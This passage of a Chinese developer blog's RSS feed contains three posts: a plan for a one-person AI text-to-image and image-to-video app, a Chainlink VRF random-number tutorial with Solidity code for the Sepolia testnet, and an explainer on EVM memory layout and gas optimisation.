<p><img src="/api/images/image/2026/10/1f5196f640fc2cb4-chatgpt_image_2025-4-8-_10_17_29.png" alt="ChatGPT Image 2025年4月8日 10_17_29.png"></p>
<p><img src="/api/images/image/2026/10/b7ff394e14b6c4bf-chatgpt_image_2025-4-8-_10_18_48.png" alt="ChatGPT Image 2025年4月8日 10_18_48.png"></p>
<p><img src="/api/images/image/2026/10/5ee8745396f61b67-tigger.png" alt="tigger.png"></p>
]]></content:encoded>
      <category>AI</category>
      <pubDate>Mon, 07 Apr 2025 16:17:38 GMT</pubDate>
    </item>
    <item>
      <title>一人搞定AI APP</title>
      <link>https://yangxinmin.com/one-person-ai-app</link>
      <guid isPermaLink="true">https://yangxinmin.com/one-person-ai-app</guid>
      <description>关注我，带你转型Web3开发，分享我从2018年入行区块链以来的开发经验（DeFi/GameFi/NFT/DAO/OTC/钱包/Trading Bot/MEME Launch） 开篇：AI的颠覆力与我的探索 从2024年底开始，我用Claude辅助开发了一个数字货币交易机器人，那一刻，我深刻感受到A</description>
      <content:encoded><![CDATA[<p><strong>关注我，带你转型Web3开发，分享我从2018年入行区块链以来的开发经验（DeFi/GameFi/NFT/DAO/OTC/钱包/Trading Bot/MEME Launch）</strong></p>
<h2>开篇：AI的颠覆力与我的探索</h2>
<p>从2024年底开始，我用Claude辅助开发了一个数字货币交易机器人，那一刻，我深刻感受到AI的颠覆性力量。代码调试效率翻倍，复杂逻辑瞬间理清，连市场调研都能交给AI完成。</p>
<p>今年，AI应用如雨后春笋般冒出，用户体验越来越简单直观，我忍不住想：<strong>一个人的软件公司，真的可以起飞了。</strong></p>
<p>作为一名拥有10多年开发经验的全栈工程师，我的技术栈覆盖Golang、Python、Node.js和Solidity，日常工作中早已习惯让AI“打工”。</p>
<p>我的“AI团队”分工明确：
Copilot+Claude负责编程；
ChatGPT和Grok当技术顾问，交叉验证；
DeepSeek、豆包帮我调研需求，飞书文档整理资料。
这样的协作模式让我意识到，AI不仅是工具，更是创业的加速器。</p>
<p>最近，我听了一场<a href="https://caifuhao.eastmoney.com/news/20250401100348596332410">朱啸虎的演讲</a>，他提到投资人视角下的创业建议：普通开发者不要和大厂抢主流赛道，而是找一些“脏活累活”，挖掘大厂不愿触及的细分领域。这让我重新思考：文生图、图生视频APP还有戏吗？即便巨头霸占市场，趟出一条技术路径、搞个MVP（最小可行产品），依然值得一试。</p>
<p>于是，我花时间调研并设计了一个开发方案，今天分享出来，希望给热爱技术的你一点灵感。</p>
<h2>为什么要做文生图、图生视频APP？</h2>
<p>先说说这个项目的意义。文生图（Text-to-Image）和图生视频（Image-to-Video）是AI生成内容（AIGC）的热门方向。想象一下：输入一句“赛博朋克城市夜景”，几秒钟生成高清图像，再点一下，变成动态视频。这种能力能服务创意设计、教育娱乐，甚至结合区块链生成NFT。</p>
<p>对我来说，这不仅是一个技术挑战，更是一个验证AI与全栈开发结合潜力的机会。我的目标很简单：用最小的成本、最快的速度，跑通一个MVP，探探后续的路。</p>
<h2>技术架构：从想法到现实</h2>
<p>一个完整的APP需要AI服务、后端API、前端界面和存储服务。我将整个系统拆解为以下几个模块：</p>
<h3>1. AI服务：算力核心</h3>
<p>AI服务是核心，负责生成图像和视频。硬件上，我瞄准GPU服务器（比如NVIDIA A100或V100），因为AI模型算力需求高。初期为快速验证，可以用Hugging Face的Inference API（支持Stable Diffusion，免费层每小时约100次调用，付费按量计费），但I2VGen-XL和Stable Video Diffusion暂不支持API，后期需自建或租用GPU环境，确保稳定性和成本可控。</p>
<ul>
<li><strong>文生图</strong>：选用Stable Diffusion模型，搭配Hugging Face的<code>diffusers</code>库，简单几行代码就能跑起来。</li>
<li><strong>图生视频</strong>：计划测试<code>I2VGen-XL</code>或<code>Stable Video Diffusion</code>，具体选型后面会详细分析。</li>
</ul>
<p>AI服务对外暴露两个API：一个接收文本生成图像，另一个接收图像生成视频。</p>
<h3>2. 后端API服务：高效中枢</h3>
<p>后端用Golang开发，我选了Go-zero框架（也可以用Gin），因为它轻量、高效，适合处理高并发请求。核心功能是接收前端传来的文本或图像，调用AI服务生成内容，再将结果返回。</p>
<p>为了提升用户体验，我用RabbitMQ异步处理任务，避免用户干等，后期若吞吐需求高，可换Kafka。Redis缓存热点数据，减轻数据库压力。</p>
<h3>3. 存储服务：云端支持</h3>
<p>生成的大量图像和视频需要存储，我选择阿里云OSS或AWS S3。这类云存储服务稳定、便宜，还支持CDN加速，适合快速扩展。</p>
<h3>4. 前端界面：用户窗口</h3>
<p>前端用Node.js搭配React开发，界面设计参考现有优秀产品：</p>
<ul>
<li>文生图界面模仿Stable Diffusion的开源Web UI（<a href="https://github.com/AUTOMATIC1111/stable-diffusion-webui">GitHub链接</a>），简单直观。</li>
<li>图生视频界面可以找一个现成项目，用React二次开发。</li>
</ul>
<p>另外，我计划用AI工具画草图，再生成高保真UI原型，省去不少设计时间。</p>
<h2>技术选型：基于经验的取舍</h2>
<p>基于我的技术栈和MVP目标，我做了以下选型：</p>
<ul>
<li><strong>AI服务</strong>：<code>Python + diffusers</code>，AI开发离不开Python生态。</li>
<li><strong>后端</strong>：<code>Golang + Go-zero</code>，高性能和高并发是刚需。</li>
<li><strong>消息队列</strong>：<code>RabbitMQ</code>，异步任务的标配。</li>
<li><strong>缓存</strong>：<code>Redis</code>，轻量高效。</li>
<li><strong>数据库</strong>：<code>PostgreSQL</code>，存储用户数据和任务记录。</li>
<li><strong>存储</strong>：阿里云OSS或AWS S3，性价比高。</li>
<li><strong>前端</strong>：<code>Node.js + React</code>，开发效率高，生态丰富。</li>
</ul>
<p>这个组合既发挥了我的技术优势，又能快速落地。</p>
<h2>AI服务搭建：开源模型的宝藏</h2>
<p>AI服务的核心是大模型，我把目光投向了Hugging Face——这个机器学习领域的“GitHub”。下面是我的调研结果。</p>
<h3>文生图模型：Stable Diffusion</h3>
<p>Stable Diffusion是文生图领域的明星模型，版本从1.4到3.5不断进化，图像质量令人惊艳。它由CompVis团队开发，训练数据来自LAION-Aesthetics，社区支持非常广泛。</p>
<p>使用方法很简单：</p>
<pre><code class="language-python">from diffusers import StableDiffusionPipeline
pipe = StableDiffusionPipeline.from_pretrained("CompVis/stable-diffusion-v1-4")
pipe = pipe.to("cuda")  # 需要GPU支持
image = pipe("赛博朋克城市夜景").images[0]
image.save("output.png")

</code></pre>
<p>Hugging Face提供了预训练模型（<a href="https://huggingface.co/CompVis/stable-diffusion-v1-4">链接</a>）和<code>diffusers</code>库（<a href="https://github.com/huggingface/diffusers">GitHub链接</a>），几分钟就能跑通。若效果不够，可用LoRA微调，比如用区块链相关图像训练专属模型，只需几GB数据和几小时。</p>
<h3>图生视频模型：I2VGen-XL vs Stable Video Diffusion</h3>
<p>图生视频模型选择稍微复杂，我对比了两个主流选项：</p>
<ul>
<li><strong>I2VGen-XL</strong>：由ali-vilab团队开发，训练数据包括<code>WebVid-10M</code>和<code>LAION-400M</code>，能生成流畅的短视频（<a href="https://huggingface.co/ali-vilab/i2vgen-xl">链接</a>）。缺点是仅限研究用途，商用需授权。</li>
<li><strong>Stable Video Diffusion</strong>：Stability AI开发，默认生成2-4秒视频（576x1024，14-25帧，7-12 FPS），支持自定义分辨率（<a href="https://huggingface.co/stabilityai/stable-video-diffusion-img2vid">链接</a>），商用需遵守CreativeML Open RAIL-M协议。</li>
</ul>
<p>还有一些新兴项目，比如<code>Pyramid Flow</code>和<code>Open-Sora</code>，值得关注，但目前稳定性未知，我决定先从成熟模型入手。</p>
<h3>AI服务实现</h3>
<p>AI服务用Python开发，初期用Colab测试，后期上GPU服务器。两个API：</p>
<ul>
<li><strong>文生图API</strong>：接收文本，调用<code>Stable Diffusion</code>生成图像，返回base64编码。</li>
<li><strong>图生视频API</strong>：接收图像，调用<code>I2VGen-XL</code>或<code>Stable Video Diffusion</code>生成视频，返回文件URL，高并发时用multipart/form-data上传图像，省带宽。</li>
</ul>
<h2>性能进阶：从单机到高并发</h2>
<h3>GPU优化：算力提速</h3>
<p>AI模型吃算力，Stable Diffusion和Stable Video Diffusion推荐NVIDIA GPU（支持CUDA）。初期用Inference API跑Stable Diffusion，但I2VGen-XL等需本地部署。代码里加<code>Attention Slicing</code>和混合精度，能降显存提速，装<code>xformers</code>效果更佳。</p>
<h3>扩展性：应对并发</h3>
<p>MVP阶段用户量少，单机部署够用。但如果用户增加，Golang后端的高并发优势就体现出来了。我计划用负载均衡和RabbitMQ队列，确保任务平滑处理。</p>
<h3>成本控制：从小到大</h3>
<p>GPU成本高，初期用Colab免费GPU（每日约8小时），生产环境租AWS g5.xlarge（约$1.2/小时，4块A10G），日均$10-20。
GPU服务器成本不低，初期可以用免费资源（如Colab）开发，生产环境再租用云服务（比如AWS EC2）。存储用OSS（每GB约0.02元）或S3，按量计费，性价比高。</p>
<h2>潜在挑战与应对</h2>
<ol>
<li><strong>模型选择</strong>：<code>I2VGen-XL</code>和<code>Stable Video Diffusion</code>都需要GPU，初期我会用小数据集测试，选出效果最好的。</li>
<li><strong>用户体验</strong>：生成时间可能较长，我用异步任务和进度提示缓解，如采用轮询或 WebSocket 推送实时进度（例如“已完成 30%”），提升用户体验。</li>
<li><strong>商业化限制</strong>：<code>I2VGen-XL</code>模型仅限研究用途，在产品化前，我会梳理模型的开源协议或商用授权条款，避免后续法律风险。</li>
</ol>
<h2>总结</h2>
<p>这个方案是我10多年开发经验的结晶，也是对AI潜力的探索。Stable Diffusion和Stable Video Diffusion让我快速跑通了文生图和图生视频，Golang和React保证了系统的稳定性和用户体验。虽然主流赛道竞争激烈，但细分领域的机会依然存在。</p>
<p>下一步，我会先用Hugging Face的Inference API搭一个MVP，验证核心功能，再优化性能和扩展性。如果你也对AI开发感兴趣，不妨试试这个方案，或者留言分享你的想法。技术无止境，一起探索吧！</p>
<p>别忘了点赞、收藏、转发支持一下！</p>
<hr>
<p>1111</p>
<p>我的产品体系：
《Web3开发转型陪跑计划》
《数字货币投资工具使用教学》
《AI编程教学》
本人技术栈：
Solidity/Golang/Rust/NodeJS/Python/AI编程
项目合作，欢迎你来链接我！
都看到这里了，不关注一下嘛👇</p>
]]></content:encoded>
      <category>AI</category>
      <pubDate>Mon, 07 Apr 2025 16:16:22 GMT</pubDate>
    </item>
    <item>
      <title>【项目实战】Chainlink VRF：新手也能玩转随机数</title>
      <link>https://yangxinmin.com/chainlink-vrf-randomness</link>
      <guid isPermaLink="true">https://yangxinmin.com/chainlink-vrf-randomness</guid>
      <description>关注我，带你转型Web3开发，分享我从2018年入行区块链以来的开发经验（DeFi/GameFi/NFT/DAO/OTC/钱包/Trading Bot/MEME Launch） 说在前面 在DApp开发中，随机数生成是个有趣的挑战。无论是为NFT赋予独特属性，还是在去中心化游戏中实现公平的抽奖，都离</description>
      <content:encoded><![CDATA[<p><strong>关注我，带你转型Web3开发，分享我从2018年入行区块链以来的开发经验（DeFi/GameFi/NFT/DAO/OTC/钱包/Trading Bot/MEME Launch）</strong></p>
<h2>说在前面</h2>
<p>在DApp开发中，随机数生成是个有趣的挑战。无论是为NFT赋予独特属性，还是在去中心化游戏中实现公平的抽奖，都离不开随机性。但在智能合约中生成安全的随机数并不简单。</p>
<p><strong>Chainlink VRF（可验证随机函数）</strong> 为我们提供了一个可靠的解决方案。这篇文章我将带你深入了解它的原理与实战，特别适合Solidity新手。准备好了吗？一起来探索吧！</p>
<h2>为什么需要Chainlink VRF？</h2>
<p>在传统的编程中，生成随机数可能只需要调用一个函数，比如JavaScript中的<code>Math.random()</code>。但在区块链上，事情没那么简单。</p>
<p>由于区块链的确定性特性，所有节点必须对同一输入产生相同的输出，而随机性本质上与此相悖。</p>
<p>更糟的是，使用区块哈希或时间戳等常见方法生成随机数，容易被矿工或恶意用户操纵，安全性无从谈起。</p>
<p><strong>Chainlink VRF</strong>的初衷就是解决这个难题。它通过链下生成随机数并结合链上验证，确保随机性既不可预测，又可公开验证。这种“可验证随机性”让你的智能合约能安全地“摇骰子”，为游戏、NFT或DeFi应用注入公平与创意。</p>
<p><strong>一句话概括</strong>：Chainlink VRF是智能合约的安全“骰子”，让随机性不再是开发者的噩梦。</p>
<h2>Chainlink VRF的工作原理</h2>
<p>在深入实战之前，我们先来了解Chainlink VRF的基本运作机制。它涉及两个核心角色：</p>
<ul>
<li><strong>订阅者</strong>：即你——需要随机数的项目方，包括订阅账户和调用VRF的业务合约。</li>
<li><strong>生产者</strong>：Chainlink VRF服务，包括VRF协调者合约（<code>VRFCoordinator</code>）和链下的VRF节点。</li>
</ul>
<h3>请求随机数的过程</h3>
<ol>
<li><strong>发起请求</strong>：你的业务合约通过<code>VRFCoordinator</code>请求随机数。</li>
<li><strong>链下生成</strong>：Chainlink节点在链下生成随机数，并附上加密证明。</li>
<li><strong>链上验证</strong>：<code>VRFCoordinator</code>验证证明后，将随机数回传给你的合约。</li>
</ol>
<p><img src="/api/images/image/2026/10/a8fe2b9f3958c81c-chainlink_vrf.png" alt="chainlink_vrf.png"></p>
<h3>两种订阅模式</h3>
<p>Chainlink VRF v2.5提供了两种灵活的请求方式：</p>
<ul>
<li><strong>订阅模式</strong>：创建一个订阅账户，预充值LINK或原生代币（如ETH），然后绑定多个业务合约。每次请求随机数时，费用从订阅账户扣除。</li>
<li><strong>直接支付模式</strong>：业务合约在请求时直接支付LINK或原生代币，适合单次或低频使用。</li>
</ul>
<p><strong>小建议</strong>：订阅模式更适合需要频繁生成随机数的项目，能简化资金管理。本文将以订阅模式为主进行实战演练。</p>
<h2>实战演练：订阅模式下的随机数生成</h2>
<p>让我们在Sepolia测试网上实践一个完整的随机数生成流程。我会一步步带你完成，并提供代码示例。</p>
<h3>1. 准备工作</h3>
<ul>
<li><strong>领取测试币</strong>：访问<a href="https://faucets.chain.link/">Chainlink水龙头</a>，获取Sepolia网络的LINK和ETH。</li>
<li><strong>测试参数</strong>：记录以下关键参数（以Sepolia为例）：
<ul>
<li>VRF协调者地址：<code>0x9DdfaCa8183c41ad55329BdeeD9F6A8d53168B1B</code></li>
<li><code>keyHash</code>：<code>0x787d74caea10b2b357790d5b5247c2f63d1d91572a9846f780606e4d953677ae</code></li>
<li>LINK代币地址：<code>0x779877A7B0D9E8603169DdbD7836e478b4624789</code></li>
</ul>
</li>
</ul>
<h3>2. 创建订阅账户</h3>
<ul>
<li>打开<a href="https://vrf.chain.link/sepolia/new">Chainlink VRF管理页面</a>，创建一个订阅账户。</li>
<li>创建成功后，你会收到一个<strong>Subscription ID</strong>（如一串长数字），这是你的身份凭证，记下来备用。</li>
</ul>
<p><strong>小贴士</strong>：Subscription ID就像你的“门票”，没有它无法请求服务。</p>
<p><img src="/api/images/image/2026/10/bbf0b4f927db9244-create-1.png" alt="create-1.png"></p>
<p><img src="/api/images/image/2026/10/3c6d40b27563c734-create-2.png" alt="create-2.png"></p>
<h3>3. 充值LINK或ETH</h3>
<ul>
<li>在管理页面为订阅账户充值LINK或ETH，用于支付随机数服务费。</li>
<li>授权VRF协调者合约扣费（通常自动完成）。</li>
</ul>
<h3>4. 部署业务合约</h3>
<p>下面是一个简化的业务合约示例，用于请求和接收随机数：</p>
<pre><code class="language-solidity">// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@chainlink/contracts/src/v0.8/vrf/dev/VRFConsumerBaseV2Plus.sol";
import "@chainlink/contracts/src/v0.8/vrf/dev/libraries/VRFV2PlusClient.sol";

contract RandomNumberGenerator is VRFConsumerBaseV2Plus {
    uint256 public subscriptionId;
    bytes32 public keyHash = 0x787d74caea10b2b357790d5b5247c2f63d1d91572a9846f780606e4d953677ae;
    uint32 public callbackGasLimit = 30000;
    uint16 public requestConfirmations = 3;

    mapping(uint256 => uint256[]) private results;

    constructor(address vrfCoordinator, uint256 _subscriptionId)
        VRFConsumerBaseV2Plus(vrfCoordinator) {
        subscriptionId = _subscriptionId;
    }

    function requestRandomNumber(uint32 numWords) external returns (uint256 requestId) {
        requestId = s_vrfCoordinator.requestRandomWords(
            VRFV2PlusClient.RandomWordsRequest({
                keyHash: keyHash,
                subId: subscriptionId,
                requestConfirmations: requestConfirmations,
                callbackGasLimit: callbackGasLimit * numWords,
                numWords: numWords,
                extraArgs: VRFV2PlusClient._argsToBytes(VRFV2PlusClient.ExtraArgsV1({nativePayment: false}))
            })
        );
        return requestId;
    }

    function fulfillRandomWords(uint256 requestId, uint256[] calldata randomWords) internal override {
        results[requestId] = randomWords;
    }

    function getRandomNumbers(uint256 requestId) public view returns (uint256[] memory) {
        return results[requestId];
    }
}

</code></pre>
<ul>
<li><strong>构造函数参数</strong>：
<ul>
<li><code>vrfCoordinator</code>：填入Sepolia的协调者地址。</li>
<li><code>_subscriptionId</code>：填入你的Subscription ID。</li>
</ul>
</li>
<li><strong>关键函数</strong>：
<ul>
<li><code>requestRandomNumber</code>：请求随机数，<code>numWords</code>指定数量（1~500，即一次可以请求多个随机数）。</li>
<li><code>fulfillRandomWords</code>：接收随机数的回调函数。</li>
</ul>
</li>
</ul>
<h3>5. 绑定业务合约</h3>
<ul>
<li>在VRF管理页面，点击“Add consumer”，输入刚刚部署的合约地址，将其绑定到订阅账户。</li>
</ul>
<h3>6. 请求随机数</h3>
<ul>
<li>调用<code>requestRandomNumber</code>函数，例如传入<code>2</code>以请求两个随机数。</li>
<li>交易发出后，等待Chainlink处理（通常几分钟）。</li>
</ul>
<h3>7. 接收随机数</h3>
<ul>
<li>Chainlink会调用<code>fulfillRandomWords</code>，将随机数存储在<code>results</code>映射中。</li>
<li>通过<code>getRandomNumbers</code>查看结果。</li>
</ul>
<p><img src="/api/images/image/2026/10/6e14f4b44f4cb99b-result.png" alt="result.png"></p>
<p><strong>注意</strong>：这是一个异步过程，请求和接收之间有延迟，需在前端设计等待提示。</p>
<h2>常见问题与解决方案</h2>
<p>实战中，你可能会遇到以下问题及解决办法：</p>
<h3>1. 随机数生成失败</h3>
<ul>
<li><strong>原因</strong>：<code>callbackGasLimit</code>设置过低，回调函数执行耗尽gas。</li>
<li><strong>解决</strong>：根据随机数数量调整gas限制，建议每个随机数预留30000 gas。</li>
</ul>
<h3>2. 订阅账户余额不足</h3>
<ul>
<li><strong>原因</strong>：LINK或ETH耗尽，无法支付服务费。</li>
<li><strong>解决</strong>：定期检查订阅账户余额并充值。</li>
</ul>
<h3>3. 随机数延迟</h3>
<ul>
<li><strong>原因</strong>：网络拥堵或Chainlink节点繁忙。</li>
<li><strong>解决</strong>：在UI上添加加载动画，提示用户耐心等待。</li>
</ul>
<h3>4. 参数配置错误</h3>
<ul>
<li><strong>原因</strong>：<code>keyHash</code>或<code>subscriptionId</code>填错。</li>
<li><strong>解决</strong>：仔细核对参数，确保与网络和账户匹配。</li>
</ul>
<h2>进阶实战：通过签名请求随机数</h2>
<p>为了增强安全性，可通过签名让用户请求随机数，避免直接调用合约。实现思路如下：</p>
<h3>1. 定义签名结构体</h3>
<pre><code class="language-solidity">struct RequestParams {
    address requester;
    bytes32 keyHash;
    uint32 numWords;
    uint32 callbackGasLimit;
    bool isNativePayment;
}

</code></pre>
<h3>2. 修改合约支持签名</h3>
<pre><code class="language-solidity">function requestRandomNumberBySig(RequestParams calldata params, bytes calldata signature) external {
    bytes32 structHash = keccak256(abi.encode(
        keccak256("RequestParams(address requester,bytes32 keyHash,uint32 numWords,uint32 callbackGasLimit,bool isNativePayment)"),
        params.requester,
        params.keyHash,
        params.numWords,
        params.callbackGasLimit,
        params.isNativePayment
    ));
    address signer = _hashTypedDataV4(structHash).recover(signature);
    require(signer == authorizedSigner, "Invalid signature");

    uint256 requestId = s_vrfCoordinator.requestRandomWords(
        VRFV2PlusClient.RandomWordsRequest({
            keyHash: params.keyHash,
            subId: subscriptionId,
            requestConfirmations: requestConfirmations,
            callbackGasLimit: params.callbackGasLimit,
            numWords: params.numWords,
            extraArgs: VRFV2PlusClient._argsToBytes(VRFV2PlusClient.ExtraArgsV1({nativePayment: params.isNativePayment}))
        })
    );
}

</code></pre>
<ul>
<li><strong>签名验证</strong>：使用EIP-712标准，确保请求来自授权用户。</li>
<li><strong>安全性</strong>：防止未授权的随机数请求。</li>
</ul>
<h2>Chainlink VRF的优点与缺点</h2>
<h3>优点</h3>
<ul>
<li><strong>安全性</strong>：链下生成、链上验证，杜绝操纵可能。</li>
<li><strong>灵活性</strong>：支持LINK和原生代币支付，适应多种场景。</li>
<li><strong>易用性</strong>：官方文档和工具完善，上手门槛低。</li>
</ul>
<h3>缺点</h3>
<ul>
<li><strong>延迟</strong>：异步操作可能影响用户体验。</li>
<li><strong>成本</strong>：作为付费服务，需考虑预算。</li>
<li><strong>网络支持</strong>：截至2024年6月，尚未支持所有网络（如Base链）。</li>
</ul>
<h2>总结</h2>
<p>通过这篇文章，你应该已经掌握了Chainlink VRF的核心概念和实战技巧。从创建订阅账户到请求随机数，再到解决常见问题，我们一步步解锁了区块链随机性的奥秘。</p>
<p>现在，试着在Sepolia网络上部署合约，生成随机数，体验一下吧！有疑问或心得，欢迎留言交流～你的反馈是我写作的动力！</p>
<hr>
<p>1111</p>
<p>我的产品体系：
《Web3开发转型陪跑计划》
《数字货币投资工具使用教学》
《AI编程教学》
本人技术栈：
Solidity/Golang/Rust/NodeJS/Python/AI编程
项目合作，欢迎你来链接我！
都看到这里了，不关注一下嘛👇</p>
]]></content:encoded>
      <category>公链实战</category>
      <pubDate>Tue, 01 Apr 2025 23:28:14 GMT</pubDate>
    </item>
    <item>
      <title>EVM内存解析：从新手到Gas优化大师</title>
      <link>https://yangxinmin.com/evm-memory-gas-optimization</link>
      <guid isPermaLink="true">https://yangxinmin.com/evm-memory-gas-optimization</guid>
      <description>关注我，带你转型Web3开发，分享我从2018年入行区块链以来的开发经验（DeFi/GameFi/NFT/DAO/OTC/钱包/Trading Bot/MEME Launch） 说在前面 内存管理在智能合约开发中可是个关键角色，直接决定着gas成本和代码效率。 这篇文章，我想带你走进EVM内存的世界</description>
      <content:encoded><![CDATA[<p><strong>关注我，带你转型Web3开发，分享我从2018年入行区块链以来的开发经验（DeFi/GameFi/NFT/DAO/OTC/钱包/Trading Bot/MEME Launch）</strong></p>
<h2>说在前面</h2>
<p>内存管理在智能合约开发中可是个关键角色，直接决定着gas成本和代码效率。</p>
<p>这篇文章，我想带你走进EVM内存的世界，从基本特性聊到内存布局，再分享一些实用的优化小技巧，助你在开发路上更进一步。</p>
<p>不管你是备战技术面试，还是刚入门Solidity的新手，希望这些内容都能为你带来收获。</p>
<h2>EVM内存的基本特性</h2>
<p>在深入内存布局之前，我们先来看看EVM内存的几个核心特性：</p>
<ul>
<li><strong>临时性</strong>：内存只在函数执行期间存在，函数结束后会被清空；</li>
<li><strong>线性访问</strong>：内存是一个连续的字节数组，从地址0x00开始，每个字节都可以访问；</li>
<li><strong>低成本</strong>：相比存储（Storage）的操作，内存操作的gas成本要低得多；</li>
<li><strong>按需扩展</strong>：内存会根据使用需求自动扩展，但扩展会带来额外的gas开销。</li>
</ul>
<p>这些特性决定了内存在智能合约中的使用场景，也为我们后续的优化提供了基础。</p>
<h2>EVM内存布局详解</h2>
<p>当EVM执行一个智能合约方法时，会为它开辟一块全新的内存空间。这块空间从地址<code>0x00</code>开始，理论上可以扩展到<code>2^256-1</code>字节。为了高效管理，EVM将内存划分为几个功能区域：</p>
<table>
<thead>
<tr>
<th><strong>内存地址范围</strong></th>
<th><strong>名称</strong></th>
<th><strong>用途</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td><code>0x00 - 0x3F</code></td>
<td>暂存空间（Scratch Space）</td>
<td>用于临时存储数据，如哈希计算的中间结果。</td>
</tr>
<tr>
<td><code>0x40 - 0x5F</code></td>
<td>空闲内存指针</td>
<td>指向下一个可用的内存位置。</td>
</tr>
<tr>
<td><code>0x60 - 0x7F</code></td>
<td>零槽位（Zero Slot）</td>
<td>通常用于初始化新内存，保持全0状态。</td>
</tr>
<tr>
<td><code>0x80 - ...</code></td>
<td>用户区</td>
<td>存储函数参数、局部变量和动态数据。</td>
</tr>
</tbody>
</table>
<h3>暂存空间（<code>0x00 - 0x3F</code>）</h3>
<p>暂存空间就像EVM的“便签纸”，适合存放临时数据。比如，在计算存储槽位置时，我们可以用它来暂存数据：</p>
<pre><code class="language-solidity">contract MemoryExample {
    mapping(address => uint256) public balances; // 槽0

    function setBalance(address user, uint256 amount) public {
        assembly {
            mstore(0, user)   // 存储用户地址
            mstore(32, 0)     // 存储槽位号
            let balanceSlot := keccak256(0, 64) // 计算哈希
            sstore(balanceSlot, amount)         // 存储余额
        }
    }
}

</code></pre>
<p>这段代码展示了如何利用暂存空间计算mapping的存储位置，简单又高效。</p>
<h3>空闲内存指针（<code>0x40 - 0x5F</code>）</h3>
<p>空闲内存指针是一个“导航标记”，记录着下一个可用的内存地址。分配内存时，我们会读取这个指针，使用它指向的位置存储数据，然后更新指针：</p>
<pre><code class="language-solidity">assembly {
    let ptr := mload(0x40)       // 获取当前指针
    mstore(ptr, 42)              // 存储数据
    mstore(0x40, add(ptr, 0x20)) // 更新指针
}

</code></pre>
<p>这种机制确保了内存分配的连续性和有序性。</p>
<h3>零槽位（<code>0x60 - 0x7F</code>）</h3>
<p>零槽位通常保持全0状态，常用于初始化新分配的内存。例如，我们可以利用它来快速清零一段内存：</p>
<pre><code class="language-solidity">assembly {
    let ptr := mload(0x40)       // 获取当前指针
    mstore(ptr, mload(0x60))     // 用零槽位的0初始化
    mstore(0x40, add(ptr, 0x20)) // 更新指针
}

</code></pre>
<p>这在需要确保内存初始状态时非常实用。
零槽位并非强制全0，而是Solidity编译器常用它来提供零值初始化，增强可读性。</p>
<h3>用户区（<code>0x80 - ...</code>）</h3>
<p>用户区是内存的“主战场”，用来存放函数参数、局部变量和动态数据。比如，创建一个动态数组：</p>
<pre><code class="language-solidity">uint256[] memory array = new uint256[](3);
array[0] = 1;
array[1] = 2;
array[2] = 3;

</code></pre>
<p>在内存中，array会从<code>0x80</code>开始，前32字节存储长度（<code>3</code>），后面连续存储元素。</p>
<h2>内存分配的底层逻辑</h2>
<p>EVM的内存分配是动态的，遵循“<strong>先预订后使用</strong>”的原则。过程如下：</p>
<ol>
<li><strong>读取指针</strong>：从0x40读取空闲内存指针，确定可用位置。</li>
<li><strong>分配空间</strong>：根据数据大小分配内存，通常以32字节对齐。</li>
<li><strong>更新指针</strong>：将指针移动到下一个可用位置。</li>
<li><strong>写入数据</strong>：在分配的空间写入实际内容。</li>
</ol>
<p>来看一个例子，直观感受内存分配：</p>
<pre><code class="language-solidity">contract MemoryDemo {
    function checkMemory() public pure returns (uint256, uint256) {
        uint256 start;
        uint256 end;
        assembly {
            start := mload(0x40)           // 获取初始指针
            mstore(start, 42)              // 存储数据
            mstore(0x40, add(start, 0x20)) // 更新指针
            end := mload(0x40)             // 获取新指针
        }
        return (start, end);               // 返回分配前后的指针
    }
}

</code></pre>
<p>运行结果通常是<code>start = 0x80</code>，<code>end = 0xA0</code>，说明分配了32字节。</p>
<p>接下来，我们看看不同数据类型在内存里是怎么摆放的。</p>
<h2>数据类型在内存中的布局</h2>
<p>不同数据类型在内存中的存储方式各有特点：</p>
<ul>
<li><strong>基本类型</strong>：如<code>uint256</code>或<code>address</code>，固定占32字节。</li>
<li><strong>动态数组</strong>：前32字节存长度，后续连续存元素，如果数组为空，长度为0，后续不会分配元素空间，这在gas优化中常被忽略。</li>
<li><strong>字符串和字节数组</strong>：类似动态数组，前32字节存长度，后续存内容。</li>
<li><strong>结构体</strong>：字段按声明顺序连续存储，每个占32字节。</li>
</ul>
<p>例如，一个结构体的内存布局：</p>
<pre><code class="language-solidity">struct User {
    uint256 id;
    address addr;
}
User memory user = User(1, msg.sender);

</code></pre>
<p>在内存中，<code>id</code>占<code>0x80-0x9F</code>，<code>addr</code>占<code>0xA0-0xBF</code>。</p>
<h2>内存操作码与gas成本</h2>
<h3>内存操作码</h3>
<p>EVM通过操作码管理内存，主要包括：</p>
<ul>
<li><code>mload(p)</code>：从位置<code>p</code>读取32字节。</li>
<li><code>mstore(p, v)</code>：在位置<code>p</code>写入32字节值<code>v</code>。</li>
<li><code>mstore8(p, v)</code>：在位置<code>p</code>写入1字节值<code>v</code>。</li>
</ul>
<blockquote>
<p>虽然EVM中没有mload8，但可以使用byte(0, mload(p))来代替。</p>
</blockquote>
<h3>gas成本</h3>
<ul>
<li><strong>基础gas</strong>：每个操作码消耗3 gas。</li>
<li><strong>扩展gas</strong>：内存扩展时，按公式<code>3 * words + words^2 / 512</code>计算（<code>words</code>为32字节的字数）。</li>
</ul>
<table>
<thead>
<tr>
<th><strong>操作</strong></th>
<th><strong>内存使用（字节）</strong></th>
<th><strong>字数</strong></th>
<th><strong>扩展gas</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td><code>mstore(0x80, 0)</code></td>
<td>128</td>
<td>4</td>
<td>0（未扩展）</td>
</tr>
<tr>
<td><code>mstore(0x100, 0)</code></td>
<td>256</td>
<td>8</td>
<td>≈36</td>
</tr>
<tr>
<td><code>mstore(0x200, 0)</code></td>
<td>512</td>
<td>16</td>
<td>≈96</td>
</tr>
</tbody>
</table>
<p>EVM默认初始内存为0字节，首次扩展到128字节会有少量gas成本（约3 gas），后续在此范围内操作才无需额外扩展成本。</p>
<p>合理控制内存扩展是优化的关键。</p>
<h2>内存优化的实用建议</h2>
<p>掌握了内存机制后，怎么用它省gas呢？我总结了几个实用建议供你参考：</p>
<h3>1. 减少不必要的内存分配</h3>
<ul>
<li><strong>重用内存</strong>：避免在循环中反复分配。</li>
<li><strong>预分配空间</strong>：一次性分配足够内存。</li>
</ul>
<pre><code class="language-solidity">// 优化前：循环中分配
function inefficient(uint256 n) public pure returns (uint256) {
    uint256 sum = 0;
    for (uint256 i = 0; i &#x3C; n; i++) {
        uint256[] memory temp = new uint256[](1);
        temp[0] = i;
        sum += temp[0];
    }
    return sum;
}

